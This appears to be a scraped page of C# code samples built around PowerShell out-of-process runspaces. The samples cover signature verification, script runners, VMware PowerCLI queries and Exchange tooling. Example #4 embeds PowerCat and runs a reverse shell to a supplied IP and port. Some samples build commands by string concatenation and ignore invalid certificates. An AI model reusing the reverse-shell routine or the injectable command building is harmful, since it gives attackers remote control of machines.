示例#1
0
 private Runspace CreateRunspace()
 {
     if (this._useJobIPCProcess)
     {
         return(RunspaceFactory.CreateOutOfProcessRunspace(ActivityHostProcess.ActivitiesTypeTable, this._processInstance));
     }
     else
     {
         return(RunspaceFactory.CreateRunspace(ActivityHostProcess.ActivityHostConnectionInfo, null, ActivityHostProcess.ActivitiesTypeTable));
     }
 }
        /// <summary>
        /// Verify that the authenticode signature of the file is valid, and publisher is included in the allowed list.
        /// </summary>
        /// <param name="filePath">Path to file.</param>
        /// <returns>True iff the signature and publisher is valid.</returns>
        /// <remarks>
        /// This code might throw an exception, however, we won't catch it here.
        /// This function is called within the update cycle which will catch & log any exception that bubbles up.
        /// </remarks>
        internal async Task <bool> VerifyAuthenticodeSignatureAsync(string filePath)
        {
            const string psGetPublisherCommandTemplate =
                "Return (Get-AuthenticodeSignature \"{0}\").SignerCertificate.GetNameInfo([System.Security.Cryptography.X509Certificates.X509NameType]::SimpleName, $false)";

            if (!OperatingSystem.IsWindows())
            {
                throw new PlatformNotSupportedException("Authenticode signature verification is only available on Windows");
            }

            _logger.LogInformation("Verifying authenticode signature of package");

            using var psProcess = new PowerShellProcessInstance(new Version(5, 1), null, null, false);
            using var runspace  = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(Array.Empty <string>()), psProcess);
            runspace.Open();

            // first we need to get the signature and verify that it's "Valid"
            using var powershell = PowerShell.Create(runspace);
            powershell.AddCommand("Get-AuthenticodeSignature").AddParameter("FilePath", filePath);
            var results = await powershell.InvokeAsync();

            PublishCounter(UpdateMetricsConstants.PowershellExecutions, CounterTypeEnum.Increment, 1);

            if (results.Count == 0)
            {
                return(false);
            }
            var signature       = results[0];
            var signatureStatus = signature.Properties["Status"]?.Value?.ToString();

            _logger.LogDebug("Signature status: {0}", signatureStatus);
            if (signatureStatus != nameof(SignatureStatus.Valid))
            {
                return(false);
            }

            // then we get the publisher of the signing certificate
            var allowedPublishers = _allowedPublishers ?? _builtInMsiAllowedPublishers;

            powershell.AddScript(string.Format(psGetPublisherCommandTemplate, filePath));
            results = await powershell.InvokeAsync();

            PublishCounter(UpdateMetricsConstants.PowershellExecutions, CounterTypeEnum.Increment, 1);

            if (results.Count == 0)
            {
                return(false);
            }
            var publisher = results[0].ToString();

            _logger.LogDebug("Signature publisher: {0}", publisher);

            return(allowedPublishers.Contains(publisher));
        }
        public string Run(string script, IDictionary <string, object> parameters = null)
        {
            var outputStr = new StringBuilder();

            using (Runspace runSpace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0])))
            {
                runSpace.Open();

                using (var pipeline = runSpace.CreatePipeline())
                {
                    // In-vars
                    if (parameters != null)
                    {
                        foreach (var param in parameters)
                        {
                            runSpace.SessionStateProxy.SetVariable(param.Key, param.Value);
                        }
                    }

                    // execute
                    //pipeline.Commands.AddScript("$verbosepreference='continue'");
                    pipeline.Commands.AddScript(script);
                    pipeline.Commands.Add("Out-String");
                    Collection <PSObject> results = pipeline.Invoke();

                    foreach (PSObject outputItem in results)
                    {
                        if (outputItem != null)
                        {
                            outputStr.AppendLine(outputItem.ToString());
                        }
                    }

                    // Out-vars
                    var outparameters = new Dictionary <string, object>();
                    if (parameters != null)
                    {
                        foreach (var param in parameters)
                        {
                            var value = runSpace.SessionStateProxy.GetVariable(param.Key);
                            outparameters.Add(param.Key, value);
                        }
                    }

                    parameters = outparameters;
                }

                runSpace.Close();
            }

            return(outputStr.ToString());
        }
示例#4
0
        private static void ExecutePowershell(object args)
        {
            var a        = (object[])args;
            var ip       = (string)a[0];
            var port     = (string)a[1];
            var instance = new PowerShellProcessInstance(new Version(2, 0), null, null, false);

            using (var rs = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
            {
                rs.Open();

                var pipeline = rs.CreatePipeline();
                pipeline.Commands.AddScript(PowerCat.PowerCatBase64());
                pipeline.Commands.AddScript("powercat -c " + ip + "  " + port + " -ep");
                pipeline.Invoke();
            }
        }
 public static void Main()
 {
     Console.WriteLine(Environment.Is64BitProcess);
     using (PowerShellProcessInstance pspi = new PowerShellProcessInstance()) {
         string psfn = pspi.Process.StartInfo.FileName;
         psfn = psfn.ToLowerInvariant().Replace("\\syswow64\\", "\\sysnative\\");
         pspi.Process.StartInfo.FileName = psfn;
         using (Runspace r = RunspaceFactory.CreateOutOfProcessRunspace(null, pspi)) {
             r.Open();
             using (PowerShell ps = PowerShell.Create()) {
                 ps.Runspace = r;
                 ps.AddScript("[Environment]::Is64BitProcess");
                 foreach (PSObject pso in ps.Invoke())
                 {
                     Console.WriteLine(pso);
                 }
             }
         }
     }
 }
示例#6
0
        public Runspace DefaultRunspaceCreateMethod()
        {
            LOG.Trace("Creating runspace configuration");
            RunspaceConfiguration runSpaceConfig = RunspaceConfiguration.Create();

            if (_localSnapinNames != null)
            {
                foreach (string snapinName in _localSnapinNames)
                {
                    LOG.Debug("Adding snap-in {0}", snapinName);
                    PSSnapInException snapOutput = null;
                    runSpaceConfig.AddPSSnapIn(snapinName, out snapOutput);
                    if (snapOutput != null)
                    {
                        throw snapOutput;
                    }
                }
            }
            LOG.Trace("Creating the runspace");
            var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]));

            LOG.Trace("Runspace created");
            return(runspace);
        }
示例#7
0
        public string RunScript(string scriptText)
        {
            PowerShellProcessInstance instance = new PowerShellProcessInstance(new Version(2, 0), null, null, false);
            
            PSSnapInException warning;
            //Runspace runspace = RunspaceFactory.CreateRunspace();
            Runspace runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance);
            
            runspace.Open();
            runspace.RunspaceConfiguration.AddPSSnapIn("Microsoft.Sharepoint.Powershell", out warning);

            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.Add(scriptText);

            pipeline.Commands.Add("Out-String");
            StringBuilder sb = new StringBuilder();
            try
            {
                Collection<PSObject> results = pipeline.Invoke();
                foreach (PSObject obj in results)
                {
                    sb.AppendLine(obj.ToString());
                }
            }
            catch (Exception ex)
            {
                sb.AppendLine(ex.Message);
            }
            finally
            {
                runspace.Close();
            }

            return sb.ToString();

        }
        public ICustomActivityResult Execute()
        {
            DataTable dataTable = new DataTable("resultSet");

            string Command = "Get-HardDisk -VM '" + vmName + "'";

            using (PowerShellProcessInstance instance = new PowerShellProcessInstance(new Version(4, 0), null, null, false))
            {
                using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
                {
                    runspace.Open();

                    using (PowerShell powerShellInstance = PowerShell.Create(RunspaceMode.NewRunspace))
                    {
                        powerShellInstance.Runspace = runspace;

                        // ---------------
                        ExecuteScript(powerShellInstance, "Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force ");

                        // ---------------
                        var version           = ExecuteScript(powerShellInstance, @"$PSVersionTable.PSVersion");
                        var element           = version.First();
                        var powershellVersion = element.BaseObject as System.Version;
                        // System.Diagnostics.Trace.WriteLine($"=== Locally installed Powershell version: {powershellVersion.ToString()}");

                        // Snapins cmdlets could be not installed
                        // https://github.com/PowerShell/PowerShell/issues/6135
                        var pssapinInstalled = ExecuteScript(powerShellInstance, @"Get-Command | where { $_.Name -eq 'Get-PSSnapin'}");

                        if (pssapinInstalled.Any() == true)
                        {
                            // Check if SnapIn already loaded
                            var loadedSnapins = ExecuteScript(powerShellInstance, "Get-PSSnapin");

                            if (loadedSnapins.Any(item => item.ToString().StartsWith(POWERCLI_NAME, StringComparison.OrdinalIgnoreCase)) == true)
                            {
                                // Already loaded
                            }
                            else
                            {
                                // Check if could be loaded
                                var registedSnapins = ExecuteScript(powerShellInstance, "Get-PSSnapin -Registered");
                                if (registedSnapins.Any(item => item.ToString().StartsWith(POWERCLI_NAME, StringComparison.OrdinalIgnoreCase)) == true)
                                {
                                    // Load SnapIn
                                    ExecuteScript(powerShellInstance, "Add-PSSnapin -Name '" + POWERCLI_NAME + "'");
                                }
                                else
                                {
                                    // VMware.VimAutomation.Core Snapin is not installed - so may be it in modules ?
                                    LoadWithModules(powerShellInstance);
                                }
                            }
                        }
                        else
                        {
                            LoadWithModules(powerShellInstance);
                        }

                        // Normalization command that will handle incorrect certificates
                        ExecuteScript(powerShellInstance, @"Set-PowerCLIConfiguration -DefaultVIServerMode Single -InvalidCertificateAction Ignore -Scope Session  -Confirm:$false");

                        // Fix case where Username send domain\username to just username
                        if (UserName.Contains("\\"))
                        {
                            UserName = UserName.Substring(UserName.LastIndexOf("\\") + 1);
                        }

                        // Connect
                        var connectionInfo = ExecuteScript(powerShellInstance, "Connect-VIServer -Server '" + HostName + "' -User '" + UserName + "' -Password '" + Password + "' -ErrorAction Continue", "Username is: " + UserName + " Password: "******" for host: " + HostName);

                        // Actual command
                        if (string.IsNullOrEmpty(Command) == false)
                        {
                            var commandResult = ExecuteScript(powerShellInstance, Command);

                            commandResult.ToList().ForEach(item =>
                            {
                                var row = dataTable.NewRow();

                                item.Properties.ToList().ForEach(details =>
                                {
                                    if (dataTable.Columns.Contains(details.Name) == false)
                                    {
                                        dataTable.Columns.Add(details.Name);
                                    }

                                    row[details.Name] = details.Value;
                                });

                                if (row.ItemArray.Any() == true)
                                {
                                    dataTable.Rows.Add(row);
                                }
                            });
                        }
                        else
                        {
                            // No command provided - nothing to do
                        }
                    }

                    runspace.Close();
                    runspace.Dispose();
                }
            }

            return(this.GenerateActivityResult(dataTable));
            //return this.GenerateActivityResult("Success");
        }
 /// <summary>
 /// Depending on the option return an Out-of-proc
 /// or remoting runspace on localhost
 /// </summary>
 /// <returns>runspace object for use</returns>
 private Runspace CreateRunspace()
 {
     return(_useJobIPCProcess ? RunspaceFactory.CreateOutOfProcessRunspace(ActivitiesTypeTable, _processInstance) : RunspaceFactory.CreateRunspace(ActivityHostConnectionInfo, null, ActivitiesTypeTable));
 }
示例#10
0
        public ICustomActivityResult Execute()
        {
            DataTable dt = new DataTable();

            if (!string.IsNullOrEmpty(ScriptPath))
            {
                if (File.Exists(ScriptPath))
                {
                    ScriptCode = File.ReadAllText(ScriptPath);
                }
                else
                {
                    throw new Exception("File not found");
                }
            }
            if (string.IsNullOrEmpty(ScriptCode))
            {
                throw new Exception("Script code value is empty.");
            }

            string        _exchangeConnectionUri = string.Format("http://{0}/PowerShell/?SerializationLevel=Full", HostName);
            StringBuilder sbInit = new StringBuilder();

            sbInit.AppendLine("$ErrorActionPreference = \"Stop\"");
            sbInit.AppendLine("$PSDefaultParameterValues['*:ErrorAction']='Stop'");
            sbInit.AppendLine("$session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri " + _exchangeConnectionUri + " -Authentication Kerberos");
            sbInit.AppendLine("Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted");
            sbInit.AppendLine("Import-PSSession $session");

            try
            {
                using (PowerShellProcessInstance instance = new PowerShellProcessInstance(new Version(4, 0), null, ScriptBlock.Create(sbInit.ToString()), false))
                {
                    using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
                    {
                        runspace.Open();

                        using (var powershell = PowerShell.Create())
                        {
                            powershell.Commands.AddScript(ScriptCode);
                            powershell.Runspace = runspace;
                            string errorDescription       = "Command execution has failed.";
                            Collection <PSObject> results = powershell.Invoke();

                            if (results != null)
                            {
                                if (results.Count > 0)
                                {
                                    var    selectedResults = results.Where(o => o != null);
                                    bool   isStartLine     = true;
                                    string cmdResult       = string.Empty;
                                    try
                                    {
                                        if (string.IsNullOrEmpty(PropertyNames))
                                        {
                                            // The properties were not provided
                                            dt.Columns.Add("Result", typeof(string));
                                            foreach (var output in selectedResults)
                                            {
                                                if (isStartLine)
                                                {
                                                    cmdResult   = ClearString(output.ToString());
                                                    isStartLine = false;
                                                }
                                                else
                                                {
                                                    cmdResult = output.ToString();
                                                }
                                                dt.Rows.Add(cmdResult);
                                            }
                                        }
                                        else
                                        {
                                            // The properties were provided
                                            string[] properties = PropertyNames.Split(';');
                                            foreach (string propertyName in properties)
                                            {
                                                dt.Columns.Add(propertyName, typeof(string));
                                            }

                                            foreach (var output in selectedResults)
                                            {
                                                DataRow dr            = dt.NewRow();
                                                bool    propertyFound = false;
                                                foreach (string propertyName in properties)
                                                {
                                                    PSPropertyInfo psInfo = output.Properties[propertyName];
                                                    if (psInfo != null)
                                                    {
                                                        if (psInfo.Value != null)
                                                        {
                                                            dr[propertyName] = psInfo.Value.ToString();
                                                            propertyFound    = true;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        throw new Exception(string.Format("The property \"{0}\" does not exist.", propertyName));
                                                    }
                                                }
                                                if (propertyFound)
                                                {
                                                    dt.Rows.Add(dr);
                                                    propertyFound = false;
                                                }
                                            }
                                        }
                                    }
                                    catch
                                    {
                                        throw new Exception("Unable to evaluate result.");
                                    }
                                }
                            }
                            else
                            {
                                throw new Exception(errorDescription);
                            }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }

            return(this.GenerateActivityResult(dt));
        }
        private string ExecuteLocal(string ScriptPath, string ScriptCode, int HasParams, string TableAsString)
        {
            StringWriter sw = new StringWriter();
            DataTable    dt = new DataTable("resultSet");

            dt.Columns.Add("Result", typeof(String));

            try
            {
                if (string.IsNullOrEmpty(ScriptCode) == false)
                {
                    ScriptCode = ScriptCode.Replace("\t", "\r\n");
                }


                if (string.IsNullOrEmpty(ScriptPath) == false)
                {
                    if (File.Exists(ScriptPath))
                    {
                        ScriptCode = File.ReadAllText(ScriptPath);
                    }
                    else
                    {
                        throw new Exception("File not found");
                    }
                }

                InitialSessionState iss = InitialSessionState.CreateDefault();
                PSSnapInException   warning;

                string[] MyArray = ScriptCode.Split(new string[] { "\r\n" }, StringSplitOptions.None);

                foreach (string item in MyArray)
                {
                    if (item.ToLower().Contains("add-pssnapin"))
                    {
                        iss.ImportPSSnapIn(item.Substring(item.ToLower().IndexOf("add-pssnapin") + 12).Trim(), out warning);
                        ScriptCode = ScriptCode.Replace(item, "");
                    }
                }

                Collection <PSObject> results = null;

                using (PowerShellProcessInstance instance = new PowerShellProcessInstance(new Version(4, 0), null, null, false))
                {
                    using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
                    {
                        runspace.Open();

                        using (Pipeline pipeline = runspace.CreatePipeline())
                        {
                            if (HasParams == 1 && string.IsNullOrEmpty(TableAsString) == false)
                            {
                                CommandParameter         param;
                                DataTable                dtParams = new DataTable();
                                System.Text.UTF8Encoding enc      = new System.Text.UTF8Encoding();

                                using (MemoryStream stream = new MemoryStream())
                                {
                                    byte[] allBytes = enc.GetBytes(TableAsString);
                                    stream.Write(allBytes, 0, allBytes.Length);
                                    stream.Position = 0;
                                    dtParams.ReadXml(stream);
                                }

                                Command myCommand = new Command(ScriptCode, true);

                                foreach (DataRow row in dtParams.Rows)
                                {
                                    param = new CommandParameter(row[0].ToString(), row[1]);
                                    myCommand.Parameters.Add(param);
                                }

                                pipeline.Commands.Add(myCommand);
                                pipeline.Commands.Add("Out-String");
                            }
                            else
                            {
                                pipeline.Commands.AddScript(ScriptCode);
                                pipeline.Commands.Add("Out-String");
                            }

                            results = pipeline.Invoke();
                        }
                    }
                }

                StringBuilder stbuilder   = new StringBuilder();
                bool          isStartLine = true;
                string        cmdResult   = string.Empty;

                foreach (PSObject obj in results)
                {
                    if (isStartLine)
                    {
                        cmdResult   = ClearString(obj.ToString());
                        isStartLine = false;
                    }
                    else
                    {
                        cmdResult = obj.ToString();
                    }

                    dt.Rows.Add(cmdResult);
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }

            dt.WriteXml(sw, XmlWriteMode.WriteSchema, false);

            return(sw.ToString());
        }
示例#12
0
        public ICustomActivityResult Execute()

        {
            if (cluster == null)
            {
                throw new ArgumentNullException("cluster");
            }

            if (string.IsNullOrEmpty(filterApplied) == false && bool.Parse(filterApplied) && string.IsNullOrEmpty(cluster) && string.IsNullOrEmpty(dataStore) && string.IsNullOrEmpty(folder))
            {
                throw new Exception("Filter settings are empty.");
            }

            if (string.IsNullOrEmpty(filterApplied))
            {
                // Clear everything if FilterApplied is not send
                cluster = dataStore = folder = string.Empty;
            }

            if (string.IsNullOrEmpty(filterApplied) == false && bool.Parse(filterApplied) == false)
            {
                // Clear everything if FilterApplied = false
                cluster = dataStore = folder = string.Empty;
            }

            var dataTable = new DataTable("resultSet");

            using (var instance = new PowerShellProcessInstance(new Version(4, 0), null, null, false))
            {
                using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]), instance))
                {
                    runspace.Open();

                    using (var powerShellInstance = PowerShell.Create(RunspaceMode.NewRunspace))
                    {
                        powerShellInstance.Runspace = runspace;

                        // ---------------
                        ExecuteScript(powerShellInstance, "Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force ");

                        // ---------------
                        ExecuteScript(powerShellInstance, @"$PSVersionTable.PSVersion");
                        // System.Diagnostics.Trace.WriteLine($"=== Locally installed Powershell version: {powershellVersion.ToString()}");

                        // Snapins cmdlets could be not installed
                        // https://github.com/PowerShell/PowerShell/issues/6135
                        var pssapinInstalled = ExecuteScript(powerShellInstance, @"Get-Command | where { $_.Name -eq 'Get-PSSnapin'}");
                        if (pssapinInstalled.Any())
                        {
                            // Check if SnapIn already loaded
                            var loadedSnapins = ExecuteScript(powerShellInstance, "Get-PSSnapin");
                            if (loadedSnapins.Any(item => item.ToString().StartsWith(POWERCLI_NAME, StringComparison.OrdinalIgnoreCase)))
                            {
                                // Already loaded
                            }
                            else
                            {
                                // Check if could be loaded
                                var registedSnapins = ExecuteScript(powerShellInstance, "Get-PSSnapin -Registered");
                                if (registedSnapins.Any(item => item.ToString().StartsWith(POWERCLI_NAME, StringComparison.OrdinalIgnoreCase)))
                                {
                                    // Load SnapIn
                                    ExecuteScript(powerShellInstance, "Add-PSSnapin -Name '" + POWERCLI_NAME + "'");
                                }
                                else
                                {
                                    // VMware.VimAutomation.Core Snapin is not installed - so may be it in modules ?
                                    LoadWithModules(powerShellInstance);
                                }
                            }
                        }
                        else
                        {
                            LoadWithModules(powerShellInstance);
                        }

                        // Normalization command that will handle incorrect certificates
                        ExecuteScript(powerShellInstance, @"Set-PowerCLIConfiguration -DefaultVIServerMode Single -InvalidCertificateAction Ignore -Scope Session  -Confirm:$false");

                        // Fix case where Username send domain\username to just username
                        if (userName.Contains("\\"))
                        {
                            userName = userName.Substring(userName.LastIndexOf("\\", StringComparison.Ordinal) + 1);
                        }

                        // Connect
                        ExecuteScript(powerShellInstance, "Connect-VIServer -Server '" + hostName + "' -User '" + userName + "' -Password '" + password + "' -ErrorAction Continue", "Username is: " + userName + " for host: " + hostName);

                        // Actual command
                        var command = string.IsNullOrEmpty(cluster) ? string.IsNullOrEmpty(dataStore) ? string.IsNullOrEmpty(folder) ? "Get-VM;" : "Get-VM -Location " + folder + " -ErrorAction Stop ;" : "Get-Datastore -Name " + dataStore + " -ErrorAction Stop | Get-VM;" : "Get-Cluster " + cluster + " -ErrorAction Stop | Get-VM ;";

                        if (string.IsNullOrEmpty(command) == false)
                        {
                            var commandResult = ExecuteScript(powerShellInstance, command);

                            commandResult.ToList().ForEach(item =>
                            {
                                var row = dataTable.NewRow();

                                item.Properties.ToList().ForEach(details =>
                                {
                                    if (dataTable.Columns.Contains(details.Name) == false)
                                    {
                                        dataTable.Columns.Add(details.Name);
                                    }

                                    row[details.Name] = details.Value;
                                });

                                if (row.ItemArray.Any())
                                {
                                    dataTable.Rows.Add(row);
                                }
                            });
                        }
                    }

                    runspace.Close();
                    runspace.Dispose();
                }
            }

            // ------------------------------------------------------------------------
            if (dataTable.Columns.Count == 0)
            {
                dataTable.Columns.Add("Result", typeof(string));
            }

            var view         = new DataView(dataTable);
            var selected     = view.ToTable("resultSet", false, "Name", "VMHost", "Folder");
            var stringWriter = new StringWriter();

            selected.WriteXml(stringWriter, XmlWriteMode.WriteSchema, false);
            selected.Dispose();

            return(this.GenerateActivityResult(stringWriter.ToString()));
        }
示例#13
0
        /// <summary>
        /// Determines the version of the Exchange server.
        /// </summary>
        /// <remarks>As the remote management functionality is not utilized, the Exchange powershell snap-in must be registered
        /// on the local computer. Different snap-in is used to manage Exchange 2007 and 2010, hence the server version is determined by the
        /// registered snap-in.
        /// </remarks>
        /// <returns>The version of the Exchange server to manage.</returns>
        /// <exception cref="ConnectorException">Thrown when the version cannot be determined.</exception>
        private ExchangeVersion GetExchangeServerVersion(string configuredExchangeVersion)
        {
            const string MethodName = "GetExchangeServerVersion";

            if (configuredExchangeVersion != null)
            {
                LOG.Info("Using configured Exchange version: {0}", configuredExchangeVersion);
                switch (configuredExchangeVersion)
                {
                case "2007": return(ExchangeVersion.E2007);

                case "2010": return(ExchangeVersion.E2010);

                case "2013": return(ExchangeVersion.E2013);

                default: throw new ArgumentException("Invalid or unsupported Exchange version: " + configuredExchangeVersion + " (supported ones are: 2007, 2010, 2013)");
                }
            }

            LOG.Info("Trying to determine Exchange version from registered PowerShell snapins");

            const string ExchangeSnapinNamePrefix = "Microsoft.Exchange.Management.PowerShell.";

            ExchangeVersion?version = null;

            using (var runspace = RunspaceFactory.CreateOutOfProcessRunspace(new TypeTable(new string[0]))) {
                runspace.Open();

                using (var pipeline = runspace.CreatePipeline()) {
                    var getSnapinsCommand = new Command("Get-PSSnapin");
                    getSnapinsCommand.Parameters.Add("Registered");

                    pipeline.Commands.Add(getSnapinsCommand);

                    var snapinList = pipeline.Invoke();

                    PipelineReader <object> reader = pipeline.Error;
                    PowerShellSupport.CheckErrorsFromReader(reader);

                    runspace.Close();

                    if ((snapinList == null) || (snapinList.Count == 0))
                    {
                        LOG.Error("No snap-in returned");
                        throw new ConnectorException(_messageCatalog.Format("ex_NoPowerShellSnapins", "There are no registered PowerShell snap-ins."));
                    }

                    foreach (var snapin in snapinList)
                    {
                        if (snapin.Properties["Name"] != null && snapin.Properties["Name"].Value != null)
                        {
                            var name = snapin.Properties["Name"].Value.ToString();

                            LOG.Trace("Found registered snap-in: {0}", name);

                            if (name.StartsWith(ExchangeSnapinNamePrefix, StringComparison.InvariantCultureIgnoreCase))
                            {
                                switch (name.Substring(ExchangeSnapinNamePrefix.Length))
                                {
                                case "Admin":
                                    //Microsoft.Exchange.Management.PowerShell.Admin snap-in is used to manage Exchange 2007
                                    version = ExchangeVersion.E2007;
                                    break;

                                case "SnapIn":          // TODO test if this works
                                    version = ExchangeVersion.E2013;
                                    break;

                                case "E2010":
                                    //Microsoft.Exchange.Management.PowerShell.E2010 snap-in is used to manage Exchange 2010
                                    version = ExchangeVersion.E2010;
                                    break;
                                }
                            }
                        }
                    }
                }
            }

            if (!version.HasValue)
            {
                throw new ConnectorException(_messageCatalog.Format("ex_NoSupportedExchangeSnapin",
                                                                    "There is no supported Exchange PowerShell snap-in registered."));
            }

            LOG.Info("Exchange version determined to be {0}", version.ToString());
            return(version.Value);
        }